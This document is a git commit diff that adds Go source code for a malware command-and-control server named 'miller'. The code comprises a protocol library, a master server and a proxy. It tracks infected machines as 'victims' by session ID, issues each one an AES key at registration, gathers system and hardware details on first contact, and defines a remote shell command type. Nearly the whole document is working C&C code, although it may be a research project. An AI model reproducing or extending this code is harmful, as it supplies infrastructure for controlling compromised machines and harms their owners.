aboutsummaryrefslogtreecommitdiff
path: root/source/tools/host/go
diff options
context:
space:
mode:
Diffstat (limited to 'source/tools/host/go')
-rw-r--r--source/tools/host/go/cnclib/miller_consts.go98
-rw-r--r--source/tools/host/go/cnclib/miller_victim.go165
-rw-r--r--source/tools/host/go/cncmaster/Makefile37
m---------source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux0
-rw-r--r--source/tools/host/go/cncmaster/http.go29
-rw-r--r--source/tools/host/go/cncmaster/main.go31
-rw-r--r--source/tools/host/go/cncproxy/Makefile42
m---------source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux0
m---------source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker0
-rw-r--r--source/tools/host/go/cncproxy/http.go224
-rw-r--r--source/tools/host/go/cncproxy/main.go48
-rw-r--r--source/tools/host/go/cncproxy/manager.go84
12 files changed, 758 insertions, 0 deletions
diff --git a/source/tools/host/go/cnclib/miller_consts.go b/source/tools/host/go/cnclib/miller_consts.go
new file mode 100644
index 0000000..388c25c
--- /dev/null
+++ b/source/tools/host/go/cnclib/miller_consts.go
@@ -0,0 +1,98 @@
+package miller
+
+import (
+ "fmt"
+)
+
+
+const KEY_256 uint8 = (256/8)
+const MARKER_SIZ uint8 = 8
+const AESKEY_SIZ uint8 = 32
+const HW_PROFILE_GUIDLEN uint8 = 39
+const MAX_PROFILE_LEN uint8 = 80
+
+const RF_INITIAL uint8 = 0x00
+const RF_AGAIN uint8 = 0x41
+const RF_ERROR uint8 = 0x42
+const RF_OK uint8 = 0x66
+
+const RC_INFO uint16 = 0xACAB
+const RC_REGISTER uint16 = 0xAABB
+const RC_PING uint16 = 0x0043
+const RC_SHELL uint16 = 0x0044
+
+func RCtoString(rc uint16) string {
+ switch rc {
+ case RC_INFO:
+ return "RC_INFO"
+ case RC_REGISTER:
+ return "RC_REGISTER"
+ case RC_PING:
+ return "RC_PING"
+ case RC_SHELL:
+ return "RC_SHELL"
+ default:
+ return "UNKNOWN"
+ }
+}
+
+type HttpResp struct {
+ StartMarker [MARKER_SIZ]byte
+ RespFlags uint8
+ RespCode uint16
+ Pkgsiz uint32
+ Pkgbuf []byte
+}
+
+func (hr *HttpResp) String() string {
+ return fmt.Sprintf("Marker: '%s', Flags: 0x%04X, Code: 0x%04X, " +
+ "PKGSIZ: 0x%04X, PKGBUF: '%v'",
+ hr.StartMarker, hr.RespFlags, hr.RespCode,
+ hr.Pkgsiz, hr.Pkgbuf)
+}
+
+type RespRegister struct {
+ Aeskey [AESKEY_SIZ]byte
+ NextPing uint32
+}
+
+type RespPong struct {
+ NextPing uint32
+}
+
+type RespShell struct {
+ Operation uint8
+ Showcmd uint8
+ FileLen uint16
+ ParamLen uint16
+ DirLen uint16
+ Data []byte
+}
+
+type SYSTEM_INFO_32 struct {
+ ProcessorArchitecture uint16
+ Reserved uint16
+ PageSize uint32
+ MinimumApplicationAddress uint32
+ MaximumApplicationAddress uint32
+ ActiveProcessorMask uint32
+ NumberOfProcessors uint32
+ ProcessorType uint32
+ AllocationGranularity uint32
+ ProcessorLevel uint16
+ ProcessorRevision uint16
+}
+
+type HW_PROFILE_INFOA struct {
+ DockInfo uint32
+ HwProfileGuid [HW_PROFILE_GUIDLEN]byte
+ HwProfileName [MAX_PROFILE_LEN]byte
+}
+
+type ReqInfo struct {
+ SI SYSTEM_INFO_32
+ HW HW_PROFILE_INFOA
+ CmdLineLen uint16
+ DevsLen uint8
+ Data []byte
+}
diff --git a/source/tools/host/go/cnclib/miller_victim.go b/source/tools/host/go/cnclib/miller_victim.go
new file mode 100644
index 0000000..15f7917
--- /dev/null
+++ b/source/tools/host/go/cnclib/miller_victim.go
@@ -0,0 +1,165 @@
+package miller
+
+import (
+ "github.com/zhuangsirui/binpacker"
+
+ "fmt"
+ "time"
+ "encoding/json"
+ "encoding/binary"
+ //"encoding/hex"
+ "bytes"
+)
+
+
+type Victim struct {
+ Last_rf_rx uint8 `json:"LRFRX"`
+ Last_rc_rx uint16 `json:"LRCRX"`
+ Last_rf_tx uint8 `json:"LRFTX"`
+ Last_rc_tx uint16 `json:"LRCTX"`
+ Last_active time.Time `json:"LA"`
+ Last_json time.Time `json:"LJ"`
+ Aeskey [AESKEY_SIZ]byte `json:"AK"`
+ Requests uint `json:"REQS"`
+}
+
+
+func NewVictim() *Victim {
+ return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 }
+}
+
+func (v *Victim) Reset() {
+ v.Last_rf_rx = 0
+ v.Last_rf_rx = 0
+}
+
+func (v *Victim) String() string {
+ return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " +
+ "last_rc_tx: 0x%04X, aeskey: '%v', requests: %v",
+ v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests)
+}
+
+func (v *Victim) ToJSON(debug_only bool) ([]byte, error) {
+ if !debug_only {
+ v.Last_json = time.Now()
+ }
+ return json.Marshal(v)
+}
+
+func (v *Victim) FromJSON(json_input []byte) error {
+ return json.Unmarshal(json_input, v)
+}
+
+func copySliceToArray(dest []byte, src []byte, siz int) error {
+ if len(src) != len(dest) {
+ return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest))
+ }
+ copied := copy(dest[:], src)
+ if copied != siz {
+ return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz)
+ }
+ return nil
+}
+
+func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error {
+ return copySliceToArray(dest[:], src, int(MARKER_SIZ))
+}
+
+func ParseMarkerResponse(response *HttpResp, src []byte) error {
+ return ParseMarker(&response.StartMarker, src)
+}
+
+func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error {
+ return copySliceToArray(dest[:], src, int(AESKEY_SIZ))
+}
+
+func ParseAESKeyResponse(response *RespRegister, src []byte) error {
+ return ParseAESKey(&response.Aeskey, src)
+}
+
+func (v *Victim) SetAESKey(aeskey []byte) error {
+ return ParseAESKey(&v.Aeskey, aeskey)
+}
+
+func (v *Victim) HasAESKey() bool {
+ var nullkey [AESKEY_SIZ]byte
+ return !bytes.Equal(v.Aeskey[:], nullkey[:])
+}
+
+func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error {
+ buffer := bytes.NewBuffer(dest)
+ unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer)
+ marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ))
+ if err != nil {
+ return fmt.Errorf("marker: %s", err)
+ }
+ if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) {
+ return fmt.Errorf("marker: copy failed")
+ }
+ v.Last_active = time.Now()
+ unpacker.FetchUint8(&response.RespFlags)
+ v.Last_rf_rx = response.RespFlags
+ unpacker.FetchUint16(&response.RespCode)
+ v.Last_rc_rx = response.RespCode
+ if !v.HasAESKey() {
+ v.Last_rc_rx = RC_REGISTER
+ }
+ unpacker.FetchUint32(&response.Pkgsiz)
+ response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz))
+ if err != nil {
+ return fmt.Errorf("pkgbuf: %s", err)
+ }
+ v.Requests++
+ return nil
+}
+
+func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushBytes(response.StartMarker[:])
+ packer.PushUint8(response.RespFlags)
+ v.Last_rf_tx = response.RespFlags
+ packer.PushUint16(response.RespCode)
+ v.Last_rc_tx = response.RespCode
+ packer.PushUint32(response.Pkgsiz)
+ packer.PushBytes(response.Pkgbuf)
+ err := packer.Error()
+ if err != nil {
+ v.Reset()
+ return nil, err
+ }
+ return append(dest, buffer.Bytes()...), nil
+}
+
+func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushBytes(respreg.Aeskey[:])
+ packer.PushUint32(respreg.NextPing)
+ err := packer.Error()
+ if err != nil {
+ return nil, err
+ }
+ response.Pkgsiz = uint32(len(buffer.Bytes()))
+ response.Pkgbuf = buffer.Bytes()
+ return v.buildResponse(response, dest)
+}
+
+func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) {
+ buffer := bytes.Buffer{}
+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushUint32(respong.NextPing)
+ err := packer.Error()
+ if err != nil {
+ return nil, err
+ }
+ response.Pkgsiz = uint32(len(buffer.Bytes()))
+ response.Pkgbuf = buffer.Bytes()
+ return v.buildResponse(response, dest)
+}
+
+func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) {
+ response.Pkgsiz = 0
+ response.Pkgbuf = nil
+ return v.buildResponse(response, dest)
+}
diff --git a/source/tools/host/go/cncmaster/Makefile b/source/tools/host/go/cncmaster/Makefile
new file mode 100644
index 0000000..7f026da
--- /dev/null
+++ b/source/tools/host/go/cncmaster/Makefile
@@ -0,0 +1,37 @@
+GOCC ?= go
+RM ?= rm
+GOPATH := $(shell realpath ./deps)
+INSTALL ?= install
+DESTDIR ?= .
+BIN := cncmaster
+ifeq ($(strip $(GOARCH)),)
+BIN := $(BIN)-host
+else
+BIN := $(BIN)-$(GOARCH)$(GOARM)
+endif
+SRCS := main.go http.go
+DEP_MUX := deps/src/github.com/gorilla/mux/mux.go
+
+all: $(BIN)
+
+%.go:
+
+$(DEP_MUX):
+ GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux
+
+$(BIN): $(DEP_MUX) $(SRCS)
+ifeq ($(strip $(IS_GCCGO)),)
+ GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) .
+else
+ GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) .
+endif
+
+$(BIN)-install: $(BIN)
+ $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN)
+
+install: $(BIN)-install
+
+clean:
+ $(RM) -f $(BIN) $(DESTDIR)/$(BIN)
+
+.PHONY: all
diff --git a/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux
new file mode 160000
+Subproject d83b6ffe499a29cc05fc977988d039285177962
diff --git a/source/tools/host/go/cncmaster/http.go b/source/tools/host/go/cncmaster/http.go
new file mode 100644
index 0000000..a9648ce
--- /dev/null
+++ b/source/tools/host/go/cncmaster/http.go
@@ -0,0 +1,29 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "log"
+ "net/http"
+)
+
+
+func miller_http_handler(w http.ResponseWriter, r *http.Request) {
+ params := mux.Vars(r)
+ sid, ok := params["sid"]
+ if !ok {
+ return
+ }
+ marker, ok := params["marker"]
+ if !ok {
+ return
+ }
+ rnd, ok := params["rnd"]
+ if !ok {
+ return
+ }
+
+ log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd)
+
+ w.Write([]byte("Hello!"))
+}
diff --git a/source/tools/host/go/cncmaster/main.go b/source/tools/host/go/cncmaster/main.go
new file mode 100644
index 0000000..1845800
--- /dev/null
+++ b/source/tools/host/go/cncmaster/main.go
@@ -0,0 +1,31 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "log"
+ "net/http"
+)
+
+
+const verbose = true
+const listen_tpl = "127.0.0.1:8081"
+
+func main() {
+ rtr := mux.NewRouter()
+ rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST")
+
+ http.Handle("/", rtr)
+
+ log.Println("CNCMASTER: Listening on " + listen_tpl + "...")
+ http.ListenAndServe(listen_tpl, logRequest(http.DefaultServeMux))
+}
+
+func logRequest(handler http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if verbose {
+ log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL)
+ }
+ handler.ServeHTTP(w, r)
+ })
+}
diff --git a/source/tools/host/go/cncproxy/Makefile b/source/tools/host/go/cncproxy/Makefile
new file mode 100644
index 0000000..44e3b32
--- /dev/null
+++ b/source/tools/host/go/cncproxy/Makefile
@@ -0,0 +1,42 @@
+GOCC ?= go
+RM ?= rm
+GOPATH := $(shell realpath ./deps)
+INSTALL ?= install
+DESTDIR ?= .
+BIN := cncproxy
+ifeq ($(strip $(GOARCH)),)
+BIN := $(BIN)-host
+else
+BIN := $(BIN)-$(GOARCH)$(GOARM)
+endif
+SRCS := main.go manager.go http.go
+DEP_CNCLIB := ../cnclib/miller_consts.go ../cnclib/miller_victim.go
+DEP_MUX := deps/src/github.com/gorilla/mux/mux.go
+DEP_PACKER := deps/src/github.com/zhuangsirui/binpacker/packer.go
+
+all: $(BIN)
+
+%.go:
+
+$(DEP_MUX):
+ GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux
+
+$(DEP_PACKER):
+ GOPATH=$(GOPATH) $(GOCC) get -v github.com/zhuangsirui/binpacker
+
+$(BIN): $(DEP_MUX) $(DEP_PACKER) $(DEP_CNCLIB) $(SRCS)
+ifeq ($(strip $(IS_GCCGO)),)
+ GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) .
+else
+ GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) .
+endif
+
+$(BIN)-install: $(BIN)
+ $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN)
+
+install: $(BIN)-install
+
+clean:
+ $(RM) -f $(BIN) $(DESTDIR)/$(BIN)
+
+.PHONY: all
diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux
new file mode 160000
+Subproject d83b6ffe499a29cc05fc977988d039285177962
diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker b/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker
new file mode 160000
+Subproject 08a1b297435a414bec3ccf4215ff546dba41815
diff --git a/source/tools/host/go/cncproxy/http.go b/source/tools/host/go/cncproxy/http.go
new file mode 100644
index 0000000..8e82662
--- /dev/null
+++ b/source/tools/host/go/cncproxy/http.go
@@ -0,0 +1,224 @@
+package main
+
+import (
+ "../cnclib"
+ "github.com/gorilla/mux"
+
+ "fmt"
+ "log"
+ "io"
+ "net/http"
+ "encoding/binary"
+ "encoding/hex"
+ "crypto/rand"
+ "bytes"
+)
+
+
+func miller_to_master(v *miller.Victim, url *string) error {
+ _, err := v.ToJSON(false)
+ if err != nil {
+ return err
+ }
+ return nil
+}
+
+func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) {
+ var valid bool
+ var req miller.HttpResp
+ var err error
+ read_form, err := r.MultipartReader()
+ if err != nil {
+ return false, err
+ }
+
+ for {
+ part, err := read_form.NextPart()
+ if err == io.EOF {
+ break
+ }
+
+ if part.FormName() == "upload" {
+ buf := new(bytes.Buffer)
+ buf.ReadFrom(part)
+ if verbose {
+ log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes()))
+ }
+ err = v.ParseRequest(buf.Bytes(), &req)
+ if err != nil {
+ return false, err
+ }
+ if verbose {
+ log.Printf("HTTP REQUEST(%v)", &req)
+ }
+ valid = true
+ }
+ }
+
+ if !valid {
+ return false, nil
+ }
+ return true, nil
+}
+
+func miller_randbytes(n int) ([]byte, error) {
+ b := make([]byte, n)
+ _, err := rand.Read(b)
+ if err != nil {
+ return nil, err
+ }
+
+ return b, nil
+}
+
+func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) {
+ var err error
+ var buffer []byte
+ var resp miller.HttpResp
+
+ err = miller.ParseMarkerResponse(&resp, []byte(*marker))
+ if err != nil {
+ return nil, err
+ }
+
+ log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx))
+ switch v.Last_rc_rx {
+ case miller.RC_REGISTER:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_REGISTER
+ resp_reg, err := NewRegisterResponse(5, v)
+ if err != nil {
+ return nil, err
+ }
+ buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer)
+ if err != nil {
+ return nil, err
+ }
+ if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 {
+ log.Printf("FIRST CONTACT: Grabbing some information !!")
+ resp.RespFlags = miller.RF_AGAIN
+ resp.RespCode = miller.RC_INFO
+ buffer, err = v.BuildInfoResponse(&resp, buffer)
+ }
+ break
+ case miller.RC_INFO:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_PING
+ resp_pong := NewPongResponse(5)
+ buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
+ if err != nil {
+ return nil, err
+ }
+ break
+ case miller.RC_PING:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_PING
+ resp_pong := NewPongResponse(5)
+ buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
+ if err != nil {
+ return nil, err
+ }
+ break
+ default:
+ return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx)
+ }
+
+ return buffer, nil
+}
+
+func miller_http_handler(w http.ResponseWriter, r *http.Request) {
+ params := mux.Vars(r)
+ sid, ok := params["sid"]
+ if !ok {
+ return
+ }
+ marker, ok := params["marker"]
+ if !ok {
+ return
+ }
+ rnd, ok := params["rnd"]
+ if !ok {
+ return
+ }
+
+ fake_resp := miller.HttpResp{}
+ if r.ContentLength < int64(binary.Size(fake_resp)) {
+ log.Printf("Fake response has invalid size.")
+ http.NotFound(w, r)
+ return
+ }
+
+ if verbose {
+ log.Printf("---------- %s ----------", "REQUEST")
+ }
+ log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd)
+
+ var err error
+ var v *miller.Victim
+ v = mgr.GetVictim(&sid)
+ if v == nil {
+ v = miller.NewVictim()
+ mgr.SetVictim(v, &sid)
+ }
+ if !mgr.PushVictim(&sid) {
+ log.Printf("ERROR Victim is already known to the Manager!")
+ http.NotFound(w, r)
+ return
+ }
+
+ valid, err := miller_http_request(v, r)
+ if err != nil {
+ log.Printf("ERROR miller_http_request: '%s'", err)
+ }
+ if !valid {
+ log.Printf("ERROR Victim HTTP Request was invalid!")
+ http.NotFound(w, r)
+ return
+ }
+
+ buffer, err := miller_state_machine(v, &marker)
+ if err != nil {
+ log.Printf("ERROR miller_state_machine: '%s'", err)
+ }
+ if buffer == nil {
+ log.Printf("ERROR binary buffer was empty after miller_state_machine")
+ http.NotFound(w, r)
+ return
+ }
+
+ if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 {
+ log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid)
+ }
+
+ if verbose {
+ log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer))
+ log.Printf("VICTIM STATE(%s)", v)
+ json_out, err := v.ToJSON(true)
+ if err == nil {
+ log.Printf("VICTIM JSON(%s)", string(json_out))
+ }
+ log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE")
+ }
+
+ mgr.PopVictim(&sid)
+
+ w.Write(buffer)
+}
+
+func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) {
+ respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping }
+ aeskey, err := miller_randbytes(int(miller.KEY_256))
+ if err != nil {
+ return nil, err
+ }
+ err = miller.ParseAESKeyResponse(&respreg, aeskey)
+ if err != nil {
+ return nil, err
+ }
+ victim.SetAESKey(aeskey)
+ return &respreg, nil
+}
+
+func NewPongResponse(next_ping uint32) miller.RespPong {
+ return miller.RespPong{ next_ping }
+}
diff --git a/source/tools/host/go/cncproxy/main.go b/source/tools/host/go/cncproxy/main.go
new file mode 100644
index 0000000..b5cc9ef
--- /dev/null
+++ b/source/tools/host/go/cncproxy/main.go
@@ -0,0 +1,48 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "flag"
+ "log"
+ "net/http"
+)
+
+
+var mgr manager
+var verbose bool
+
+const default_listen_tpl = "127.0.0.1:8080"
+const default_master_tpl = "127.0.0.1:8081"
+const default_verbose = false
+
+
+func main() {
+ listen_tpl := flag.String("listen", default_listen_tpl,
+ "CNCProxy listen address.")
+ master_tpl := flag.String("master", default_master_tpl,
+ "CNCMaster connect address.")
+ verbose = *flag.Bool("verbose", default_verbose,
+ "CNCProxy verbose mode")
+ flag.Parse()
+
+ mgr = NewManager()
+ rtr := mux.NewRouter()
+ /* /.miller_pahhj0099wjtu87vdgtl8fq8k4zmh0is_sbmkuj97_rg38n6bop9m5htrbeyyx0ljx26gbjxdx5nztp4a1wfowdsyyqnzts0r440logk91 */
+ rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST")
+
+ http.Handle("/", rtr)
+
+ log.Println("CNCProxy: Listening on " + *listen_tpl + "...")
+ log.Println("CNCProxy: Forwarding to CNCMaster at " + *master_tpl)
+ log.Fatal(http.ListenAndServe(*listen_tpl, logRequest(http.DefaultServeMux)))
+}
+
+func logRequest(handler http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if verbose {
+ log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL)
+ }
+ handler.ServeHTTP(w, r)
+ })
+}
diff --git a/source/tools/host/go/cncproxy/manager.go b/source/tools/host/go/cncproxy/manager.go
new file mode 100644
index 0000000..cd778be
--- /dev/null
+++ b/source/tools/host/go/cncproxy/manager.go
@@ -0,0 +1,84 @@
+package main
+
+import (
+ "../cnclib"
+
+ "sync"
+)
+
+type victim_data struct {
+ v *miller.Victim
+ in_use bool
+ lock sync.Mutex
+}
+
+type manager struct {
+ victims map[string]victim_data
+ lock sync.Mutex
+}
+
+
+func NewManager() manager {
+ return manager{ make(map[string]victim_data), sync.Mutex{} }
+}
+
+func (m *manager) SetVictim(v *miller.Victim, sid *string) {
+ m.lock.Lock()
+ defer m.lock.Unlock()
+ vd := victim_data{}
+ vd.v = v
+ m.victims[*sid] = vd
+}
+
+func (m *manager) getVictim(sid *string) *victim_data {
+ m.lock.Lock()
+ defer m.lock.Unlock()
+ ret, ok := m.victims[*sid]
+ if ok {
+ return &ret
+ }
+ return nil
+}
+
+func (m *manager) GetVictim(sid *string) *miller.Victim {
+ vd := m.getVictim(sid)
+ if vd == nil {
+ return nil
+ }
+ if !m.VictimInUse(sid) {
+ return vd.v
+ }
+ return nil
+}
+
+func (m *manager) VictimInUse(sid *string) bool {
+ vd := m.getVictim(sid)
+ if vd == nil {
+ return false
+ }
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ return vd.in_use
+}
+
+func (m *manager) PushVictim(sid *string) bool {
+ if m.VictimInUse(sid) {
+ return false
+ }
+ vd := m.getVictim(sid)
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ vd.in_use = true
+ return true
+}
+
+func (m *manager) PopVictim(sid *string) bool {
+ if !m.VictimInUse(sid) {
+ return false
+ }
+ vd := m.getVictim(sid)
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ vd.in_use = false
+ return true
+}